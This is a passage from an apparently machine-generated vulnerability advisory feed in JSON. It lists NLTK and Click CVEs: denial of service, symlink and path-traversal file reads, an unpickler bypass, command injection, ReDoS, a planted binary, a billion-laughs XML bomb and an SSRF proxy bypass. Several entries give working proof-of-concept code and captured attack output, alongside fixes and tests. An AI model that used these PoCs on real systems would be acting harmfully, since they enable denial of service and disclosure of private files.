Summary\n`JSONTaggedDecoder.decode_obj()` in `nltk/jsontags.py` calls itself \nrecursively without any depth limit. A deeply nested JSON structure \nexceeding `sys.getrecursionlimit()` (default: 1000) will raise an \nunhandled `RecursionError`, crashing the Python process.\n\n### Affected code\nFile: `nltk/jsontags.py`, lines 47–52\n```python\n@classmethod\ndef decode_obj(cls, obj):\n if isinstance(obj, dict):\n obj = {key: cls.decode_obj(val) for (key, val) in obj.items()}\n elif isinstance(obj, list):\n obj = list(cls.decode_obj(val) for val in obj)\n```\n\n### Proof of Concept\n```python\nimport sys, json\nfrom nltk.jsontags import JSONTaggedDecoder\n\ndepth = sys.getrecursionlimit() + 50 # e.g. 1050\npayload = '{\"x\":' * depth + \"null\" + \"}\" * depth\n\n# Raises RecursionError, crashing the process\njson.loads(payload, cls=JSONTaggedDecoder)\n```\n\n### Impact\nAny code path that passes externally-supplied JSON to \n`JSONTaggedDecoder` is vulnerable to denial of service.\nThe severity depends on whether such a path exists in the \ncalling code (e.g. `nltk/data.py`).\n\n### Suggested Fix\nAdd a depth parameter with a hard limit:\n```python\n@classmethod\ndef decode_obj(cls, obj, _depth=0):\n if _depth > 100:\n raise ValueError(\"JSON nesting too deep\")\n if isinstance(obj, dict):\n obj = {key: cls.decode_obj(val, _depth + 1) \n for (key, val) in obj.items()}\n elif isinstance(obj, list):\n obj = list(cls.decode_obj(val, _depth + 1) for val in obj)\n```","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-rf74-v2fm-23pw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-66393"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/00cdcd392142e6c745e7120c8d50a24127df5fad"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3724.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-denial-of-service-via-jsontaggeddecoder"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-70626","published":"2026-09-02T08:43:54Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3732","CVE-2026-70626","GHSA-r6gq-whwq-mvg9"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root","details":"### Summary\n`nltk.corpus.reader.api.CorpusReader.open()` can be used to read files outside the intended corpus root via a symlink placed inside that root. Although NLTK blocks absolute paths and `..` traversal, the current boundary check is only lexical and does not account for symlink resolution. This leads to an arbitrary local file read / filesystem sandbox bypass for applications that rely on `CorpusReader` or `FileSystemPathPointer` to restrict file access.\n\n### Details\nThe vulnerable flow is:\n\n- [`nltk/corpus/reader/api.py:222`](/mnt/Data/my_brains/test/nltk/nltk/corpus/reader/api.py#L222)\n - `CorpusReader.open()` blocks absolute paths and `..`, then calls `self._root.join(file).open()`\n\n- [`nltk/data.py:398`](/mnt/Data/my_brains/test/nltk/nltk/data.py#L398)\n - `FileSystemPathPointer.join()` joins the requested file ID and checks whether the resulting path still appears to remain under the configured root\n\nThe problem is that the check is based on the lexical path after `os.path.normpath()`, not on the resolved path after following symlinks.\n\nCurrent behavior:\n\n1. `CorpusReader.open()` rejects:\n - absolute paths\n - `..` path traversal\n2. `FileSystemPathPointer.join()` computes:\n - `joined = os.path.normpath(os.path.join(self._path, fileid))`\n - `root = os.path.normpath(self._path)`\n3. It allows the access if `joined` starts with `root`\n\nThis misses the case where a path stays inside the root lexically, but resolves outside the root via a symlink already present under the allowed directory.\n\nExample:\n\n```text\nJOINED=/tmp/nltk-root/link/secret.txt\nREALPATH=/tmp/outside/secret.txt\n```\n\n`JOINED` still appears to be inside the root, but `REALPATH` is outside it.\n\nThis is distinct from simple `../` traversal:\n\n- the file ID is not absolute\n- the file ID does not contain `..`\n- the escape only happens after filesystem resolution of a symlink under the allowed root\n\n### PoC\nReproduced in an isolated Docker sandbox using the local `nltk` clone.\n\nMinimal Python PoC:\n\n```python\nimport os\nimport tempfile\nfrom nltk.corpus.reader.api import CorpusReader\n\nroot = tempfile.mkdtemp(prefix=\"nltk-root-\")\noutside_dir = tempfile.mkdtemp(prefix=\"nltk-out-\")\noutside_file = os.path.join(outside_dir, \"secret.txt\")\n\nwith open(outside_file, \"w\") as f:\n f.write(\"secret-data\")\n\nos.symlink(outside_dir, os.path.join(root, \"link\"))\n\ncorpus = CorpusReader(root, [\"link/secret.txt\"])\nwith corpus.open(\"link/secret.txt\") as f:\n print(f.read())\n```\n\nObserved result:\n\n```text\nsecret-data\n```\n\nDocker re-test output:\n\n```text\nROOT=/tmp/nltk-root-jjxay3if\nOUTSIDE_DIR=/tmp/nltk-out-1kef36e0\nJOINED=/tmp/nltk-root-jjxay3if/link/secret.txt\nREALPATH=/tmp/nltk-out-1kef36e0/secret.txt\nREAD_OK=secret-data\nINSIDE_ROOT=True\nREAL_INSIDE_ROOT=False\n```\n\nAdditional impact validation using a system file:\n\n```text\nROOT=/tmp/nltk-root-_h5x4m19\nJOINED=/tmp/nltk-root-_h5x4m19/hostfile\nREALPATH=/etc/hostname\nHOSTNAME_READ=48dafb244af3\nINSIDE_ROOT=True\nREAL_INSIDE_ROOT=False\n```\n\nThis shows that the issue is not limited to attacker-created files outside the root; it can also read existing system files that are readable by the application user.\n\n### Impact\nThis is an arbitrary local file read / symlink escape issue.\n\nWho is impacted:\n\n- applications that accept attacker-controlled corpus directories, extracted datasets, or package contents\n- applications that rely on NLTK corpus readers as a trust boundary for file access\n- any deployment where an attacker can place or influence files inside the allowed corpus root\n\nPractical impact includes disclosure of:\n\n- application secrets stored on disk\n- local configuration files\n- private datasets\n- process-exposed files such as `/proc/self/environ`\n- system files readable by the running user\n\nThe issue is best described as a filesystem sandbox bypass caused by improper link resolution before file access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-r6gq-whwq-mvg9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70626"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3522"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/1b0e519e2324bc1a273d56edee63e44d0ad85b48"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/3.9.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3732.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-symlink-escape-via-corpusreader"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-71513","published":"2026-09-03T08:45:00Z","modified":"2026-09-17T18:47:55Z","upstream":["GHSA-5gh2-94qg-qppq","CVE-2026-71513","PYSEC-2026-3867"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0_4"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK AllowlistUnpickler dotted-name validation bypass allows remote code execution","details":"NLTK before 3.10.3 contains a remote code execution vulnerability in AllowlistUnpickler that validates only the pickle module string and not the global name, allowing attackers to resolve dotted names by attribute traversal to callables outside the allowlisted namespace. Attackers can craft untrusted transition-parser models that execute arbitrary commands when TransitionParser.parse loads the model through allowlisted_pickle_load.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71513"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/c3e37113742a1ebeeb4f2ca58941f320f98805ea"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/blob/v3.10.2/nltk/picklesec.py#L119-L124"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-through-remote-code-execution-via-allowlistunpickler-dotted-name-bypass"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-71514","published":"2026-09-03T08:45:00Z","modified":"2026-09-17T18:47:55Z","upstream":["GHSA-cv22-g7mw-8v73","CVE-2026-71514","PYSEC-2026-3790"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0_3"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK CrubadanCorpusReader path traversal allows arbitrary file disclosure","details":"NLTK 3.9.4 through 3.10.2 contains a path traversal vulnerability in CrubadanCorpusReader. _load_lang_ngrams joins the corpus root with crubadan_code, the column-0 value read from the corpus table.txt mapping file, and opens the result with the builtin open() rather than the pathsec-validated opener, so os.path.join discards the root when that value is absolute and the read escapes the corpus directory without the containment check nltk.pathsec applies when ENFORCE is set. An attacker who controls a corpus package can disclose file contents outside the corpus root through lang_freq, limited to paths ending in -3grams.txt whose contents parse as token count lines.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71514"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/10d34b3f4fe3fec74b76527a409eb0acbac2e8ab"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/blob/v3.10.2/nltk/corpus/reader/crubadan.py#L90-L98"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-through-path-traversal-via-crubadancorpusreader-pathsec-bypass"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-7246","published":"2026-08-13T16:34:58Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-2132","CVE-2026-7246","GHSA-47fr-3ffg-hgmw"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"8.3.3","resource":"click","resource_purl":"pkg:pypi/click@8.5.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"click","subject_version":"8.5.0","key":"pkg:pypi/click@8.5.0","resource":"click"}]},"details":"Pallets Click, versions 8.3.2 and below, contain a command injection vulnerability in the click.edit() function, allowing attackers to pass arbitrary OS commands from an unprivileged account.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-7246"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-7246.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24761"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24762"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2464121"},{"type":"FIX","url":"https://github.com/pallets/click/releases/tag/8.3.3"},{"type":"EVIDENCE","url":"https://github.com/tsigouris007/security-advisories/security/advisories/GHSA-47fr-3ffg-hgmw"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-72818","published":"2026-09-03T08:45:00Z","modified":"2026-09-17T18:47:55Z","upstream":["GHSA-qx2g-xrx7-vfh8","CVE-2026-72818","PYSEC-2026-3870"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.1","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":" NLTK TweetTokenizer vulnerable to denial of service through catastrophic regex backtracking","details":"The URLS regular expression in nltk/tokenize/casual.py, compiled into TweetTokenizer.WORD_RE and applied by TweetTokenizer.tokenize, contains a naked-domain branch whose domain-label prefix [a-z0-9]+(?:[.\\-][a-z0-9]+)* is unbounded. Input consisting of many alternating label separators can be partitioned in exponentially many ways, and because the branch also requires a trailing top-level domain that such input never supplies, the engine explores those partitions before failing at each offset. A few kilobytes of input therefore consumes seconds to minutes of single-threaded CPU, and the HANG_RE substitution performed before matching does not collapse the pattern. TweetTokenizer is intended for tokenizing untrusted social-media text, so any service that applies it, or the module-level casual_tokenize, to submitted text can be stalled per request without authentication. Version 3.10.1 bounds the label repetition.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-72818"},{"type":"WEB","url":"https://github.com/nltk/nltk/issues/3704"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3701"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/e092ed52eccae642304448bffc8d23cb301f85c1"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/blob/3.9.4/nltk/tokenize/casual.py"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.1"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-tweettokenizer-url-pattern-backtracks-catastrophically-on-naked-domain-like-input"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-78680","published":"2026-09-02T08:43:54Z","modified":"2026-09-17T18:47:55Z","upstream":["GHSA-6hwm-xvph-95vm","CVE-2026-78680","PYSEC-2026-3868"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Uncontrolled search path when invoking the Graphviz 'dot' binary","details":"Two NLTK sites executed the Graphviz `dot` program by bare name, so process creation resolved it via the search path — and on Windows via the current working directory — rather than a validated absolute location. An attacker who can place a file named `dot` where resolution looks (the CWD on Windows, or a writable/relative entry such as `.` on `PATH`) has their binary executed in place of Graphviz (arbitrary code execution).\n\nAffected (<= 3.10.2):\n- `nltk.parse.dependencygraph.dot2img` — called `find_binary(\"dot\")` but discarded the returned validated path and then ran the bare name `[\"dot\", ...]`, so the validation had no effect.\n- `nltk.translate.api.AlignedSent._repr_svg_` — ran the bare name with no validation at all (IPython SVG rendering).\n\nThis is the same class already fixed for the senna, weka, boxer, malt, repp and hunpos wrappers. `nltk.internals.find_binary` refuses a CWD-relative match for a bare tool name and returns only a trusted absolute path; the fix runs that path in both sites.\n\n---\n\n## Attack demonstration\nCaptured output, not illustrative. A `./dot` that writes a `PWNED` marker, planted in the CWD with `.` prepended to `PATH`.\n\n**The vulnerable behaviour (old bare-name exec):**\n```\nControl (OLD behavior) — bare ['dot'] in this dir with '.' on PATH:\n bare ['dot'] executed planted binary = True\n```\n\n**The patched functions refuse it:**\n```\nFIXED code, with ./dot planted and '.' on PATH:\n dependencygraph.dot2img : Exception \"Cannot find the dot binary...\" | planted-binary-executed=False safe\n AlignedSent._repr_svg_ : Exception \"Cannot find the dot binary...\" | planted-binary-executed=False safe\n```\n\n**And `find_binary` itself was attacked directly** (the fix trusts nothing else):\n```\nAttack 1: ./dot in CWD, no dot on PATH -> LookupError (refused) safe\nAttack 2: ./dot/dot (dir 'dot' holding 'dot') -> LookupError (refused) safe\nAttack 3: '.' on PATH + ./dot -> LookupError (refused) safe\nAttack 4: attacker-writable ABSOLUTE dir on PATH -> returned /…/evilbin/dot (absolute)\n```\nAttack 4 is out of scope: trusting an absolute directory that is already on `PATH` is the operating system's own trust model — an attacker who can write to a `PATH` directory owns the account regardless of NLTK. `find_binary` defends specifically against the CWD/relative injection that bare-name exec is vulnerable to (attacks 1–3), which is exactly what this fix inherits.\n\nEnvironment: python 3.13.7. `dot` is not required to reproduce — the planted binary is the payload.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-6hwm-xvph-95vm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78680"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/1a3cd1764ab3deb084fb66d0ffb4873717659538"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-arbitrary-code-execution-via-graphviz-dot-binary"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-78681","published":"2026-09-03T08:45:00Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3748","CVE-2026-78681","GHSA-97qj-x29f-37w7"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses","details":"Several XML parsing sites in NLTK still used `xml.etree.ElementTree` directly, which honours `` declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.\n\nAffected call sites (<= 3.10.2):\n- `nltk.chunk.named_entity.load_ace_file` — parses ACE annotation XML\n- `nltk.internals.ElementWrapper` — converts any given string to an Element\n- `nltk.downloader` — `Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages`\n\nlibexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.\n\nThis completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new `nltk.xmlsec` module that refuses entity declarations, preferring `defusedxml` and falling back to a standard-library `xml.parsers.expat` pre-scan when defusedxml is absent.\n\n---\n\n## Attack demonstration\n\nReproducible PoC against a real affected entry point (`nltk.internals.ElementWrapper`). Every number below is captured output, not illustrative.\n\n### 1. The amplification (vulnerable path: raw `xml.etree.ElementTree`)\n\nA payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:\n\n| levels | input bytes | expanded bytes | factor |\n|--------|-------------|----------------|--------|\n| 3 | 218 | 10,000 | x45 |\n| 4 | 274 | 100,000 | x364 |\n| 5 | 330 | 1,000,000 | x3,030 |\n| 6 | 386 | (libexpat 2.7.1 cap trips) | - |\n\nThe level-6 cap is **libexpat's**, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.\n\n```python\nimport xml.etree.ElementTree as ET\ndef bomb(levels):\n d = \"\\n\".join(f'' for i in range(1, levels+1))\n return f'{d}]>&e{levels};'\nET.fromstring(bomb(5)) # -> element whose .text is 1,000,000 chars\n```\n\n### 2. The patched entry point rejects it\n\n```\n>>> from nltk.internals import ElementWrapper\n>>> ElementWrapper(bomb(5))\nEntitiesForbidden: EntitiesForbidden(name='e0', ...)\n```\n\n### 3. Why a text-based screen is not enough\n\nAn entity declaration can hide behind a decoy `` in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:\n\n```python\nevil = ']>&a;'\n```\n\n```\nraw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars)\nnltk.xmlsec -> REJECTED (EntitiesForbidden)\n```\n\nAn earlier draft of the fallback that walked the text **was** bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray `]` inside a PI in the internal subset). All five are now regression tests.\n\n### 4. Both back ends block it\n\n`nltk.xmlsec` prefers `defusedxml` and falls back to a stdlib `xml.parsers.expat` pre-scan. Same payloads, defusedxml hidden to force the fallback:\n\n```\nstdlib fallback | billion-laughs -> REJECTED (EntitiesForbidden)\nstdlib fallback | comment-decoy differential -> REJECTED (EntitiesForbidden)\n```\n\nEnvironment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-97qj-x29f-37w7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78681"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/e91789c9a043296ad04912ce171c22776d45963b"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3748.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-entity-expansion-dos-via-elementtree"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-78682","published":"2026-09-02T08:43:54Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3733","CVE-2026-78682","GHSA-6ww7-3frv-cqxh"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: pathsec SSRF protection can be bypassed when a proxy is configured","details":"### Summary\n\nCurrent NLTK source reopens SSRF in proxied environments. `pathsec.urlopen()` validates the requested hostname locally, but once proxy inheritance is enabled the real fetch is performed by the proxy rather than by the validated direct-connect socket path.\n\n### Details\n\n- **Vulnerability type:** Server-side request forgery\n- **Affected component:** `nltk.pathsec.urlopen`, `nltk.data.load`, `nltk.downloader.Downloader.index`, `nltk.downloader.Downloader.download`\n- **Affected versions:** Current source `v3.10.0-rc2`; published `3.9.4` was a negative control and did not reproduce.\n- **Patched versions:** Not yet patched\n- **Root cause:** Proxy-handler inheritance disables `_SafeHTTPHandler` and `_SafeHTTPSHandler`, so the validated hostname no longer matches the actual egress destination.\n\nThe hardened direct path pins the validated numeric destination IP before opening the socket. The proxied branch instead copies `ProxyHandler` instances from the global opener, marks the request as proxied, and skips the pinned handlers. I confirmed that a validated public URL can be fetched from a loopback-only internal service through the proxy path via `pathsec.urlopen()`, `nltk.data.load()`, `Downloader.index()`, and `Downloader.download()`.\n\n### PoC\n\n**Preconditions**\n- The runtime has an HTTP proxy configured and the caller relies on `pathsec` to keep network fetches SSRF-safe.\n\n**Steps**\n1. Start a loopback-only HTTP server that serves secret text, a valid downloader index, and a ZIP payload.\n2. Configure a proxy that forwards a validated public URL to that internal loopback service.\n3. Call `pathsec.urlopen()` or `nltk.data.load()` on the public URL and observe the internal response is returned.\n4. Instantiate `Downloader(server_index_url=...)`, call `index()` and `download()`, and observe internal-only content is parsed and installed.\n\n**Minimal reproducible excerpt**\n\n```text\n{'urlopen': 'PROXY_TEXT_SECRET', 'data_load': 'PROXY_TEXT_SECRET', 'downloaded_file': 'INTERNAL_ZIP_SECRET'}\n```\n\n### Impact\n\nConsumers that trust `pathsec` as an SSRF barrier in proxied environments can be made to read internal-only HTTP resources, load forged downloader indexes, and install attacker-chosen package content fetched from the proxy's network view.\n\n### Remediation\n\nPreserve destination validation for the actual proxy egress target or fail closed when the request would otherwise downgrade into an unpinned proxied path. Add regression tests across `pathsec.urlopen`, `nltk.data.load`, and downloader fetches with a configured proxy.\n\n### References\n\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/pathsec.py#L468-L518\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/data.py#L1247-L1283\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/downloader.py#L875-L889\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/downloader.py#L1220-L1226\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/pathsec.py#L245-L250\n\n---\n\n## Fix + attack demonstration (verified)\n\n\nNLTK cannot pin the egress through a proxy, so it stops pretending to: under `ENFORCE` a proxied fetch is **refused** rather than performed unvalidated. Operators who trust their proxy opt back in with `NLTK_ALLOW_PROXIED_URLOPEN=1` or `nltk.pathsec.ALLOW_PROXIED_FETCH=True`; under `ENFORCE=False` the refusal degrades to a warning. This closes the **whole class** (environment proxies and explicit `ProxyHandler` alike), because NLTK declines any fetch whose egress it cannot validate.\n\n## Attack demonstration (reproduced; captured output)\nA loopback HTTP server stands in for the internal target; `http_proxy` points at it; NLTK is asked for a **public** IP URL.\n\n**Before the fix** — the internal secret is exfiltrated through the proxy:\n```\nvalidate_network_url(public): PASSED\n*** BYPASS: pathsec.urlopen returned INTERNAL content via proxy: 'INTERNAL_ONLY_SECRET'\n```\n\n**After the fix** — five scenarios, isolated subprocesses:\n| Scenario | Result |\n|---|---|\n| proxied (env) + ENFORCE | `PermissionError` — **blocked** |\n| proxied + opt-in | returns secret — escape hatch works |\n| explicit `ProxyHandler` (not env) + ENFORCE | `PermissionError` — **blocked** (whole class) |\n| no proxy (direct) | internal IP still refused — pinning intact |\n| proxied + `ENFORCE=False` | returns secret **+ warns** |\n\n## Tests\n`nltk/test/unit/test_pathsec.py`: 64 passed. Added an end-to-end regression (`test_proxied_fetch_does_not_reach_internal_target`) plus `test_env_proxy_fails_closed_under_enforce`; the prior `test_env_proxy_skips_pinning_handlers` (which encoded the vulnerable path) is 